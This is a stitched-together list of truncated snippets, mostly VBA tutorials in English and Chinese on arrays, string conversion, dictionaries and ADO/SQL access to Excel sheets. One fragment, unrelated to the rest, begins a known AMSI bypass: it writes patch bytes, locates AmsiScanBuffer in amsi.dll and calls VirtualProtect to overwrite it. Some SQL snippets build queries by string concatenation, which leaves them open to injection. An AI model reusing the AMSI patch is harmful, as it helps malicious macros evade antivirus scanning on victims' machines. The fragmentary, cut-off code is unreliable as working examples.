In this example, we’ll demonstrate how to create an array of strings from a specified range. Here’s the VBA code with explanations: Sub Array_Range() Dim movieArray() As Variant Dim rowCount As Integer movieArray = Range("E5:E10") Dim concatenatedMovies As String ' Loop through the ...
Array to String 数组转字符串 Dim sName As String sName = Join(arr, “:”)Increase Size 扩容 ReDim Preserve arr(0 To 100)Set Value 设定值 arr(1) = 22 1集合Collections Description 描述 VBA Code Create 创建 Dim coll As New Collection coll.Add “one”coll.Add “two”Create From Excel ...
Dim byArray() As Byte Dim sString As String sString = "Some stuff" byArray = StrConv(sString, vbFromUnicode) End Sub StrConv函数将下面的字符看成是字的分隔符: Null:Chr$(0) 水平制表符:Chr$(9) 换行符:Chr$(10) 垂直制表符:Chr$(11) 换页符:Chr$(12) 回车符:Chr$(13) 空格:Chr$(...
2.1 使用Array函数创建数组 2.2 通过单元格区域创建数组 2.3 使用For循环创建数组 3. 动态数组的使用 3.1 声明与初始化动态数组 3.2 动态调整数组大小 4. 数组运算 4.1 数组运算 4.2 常用数组操作函数: 5. 执行效率对比 6. 实际应用 三、字典:提升数据管理效率 1. 字典基本概念 2. 字典的声明与初始化 3. 字...
InputArr.Copy -> Using the command Copy to copy the input array range from the worksheet. PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks:=False, Transpose:=True -> Using the PasteSpecial function on the result variable ResultArr to save the transposed values in the target rang...
3、自定义函数ShuffleArray：SFunction ShuffleArray(arr As Variant) As Variant Dim numRows As Long Dim randomArr() As Variant Dim shuffledArr() As Variant Dim i As Long, j As Long Dim tempRow As Long '获取数组的行数 numRows = UBound(arr, 1) - LBound(arr, 1) ...
Dim ArrayPointer As LongPtrMyByteArray(0)=184'0xB8MyByteArray(1)=87'0x57MyByteArray(2)=0'0x00MyByteArray(3)=7'0x07MyByteArray(4)=128'0x80MyByteArray(5)=195'0xC3AmsiDLL=LoadLibrary("amsi.dll")AmsiScanBufferAddr=GetProcAddress(AmsiDLL,"AmsiScanBuffer")result=VirtualProtect(ByVal AmsiSca...
Dim strSQL As String strSQL = "SELECT TextData, ImageData FROM MyTable WHERE ID = 1" ' 创建Recordset对象 Dim rs As Object Set rs = CreateObject("ADODB.Recordset") ' 执行查询并将结果存储在Recordset中 rs.Open strSQL, conn ' 创建Stream对象来读取二进制数据 ...
sql = "Select * from [sheet1$] where 姓名='" & xm & "'" rst.Open sql, conn, adOpenKeyset, adLockOptimistic rst.Update Array("性别", "年龄"), Array(xb, nl) rst.Clone conn.Close Set rst = Nothing Set conn = Nothing MsgBox "数据库的记录已修改" ...
rst.Open "select * from [Sheet1$]", conn, adOpenForwardOnly, adLockOptimistic '打开记录集,获取全部数据。参数直接复制使用(讲起来很多,有兴趣另行学习),后面会细讲select语句 rst.AddNew Array("姓名", "年龄", "性别"), Array("何靖", 23, "女") ...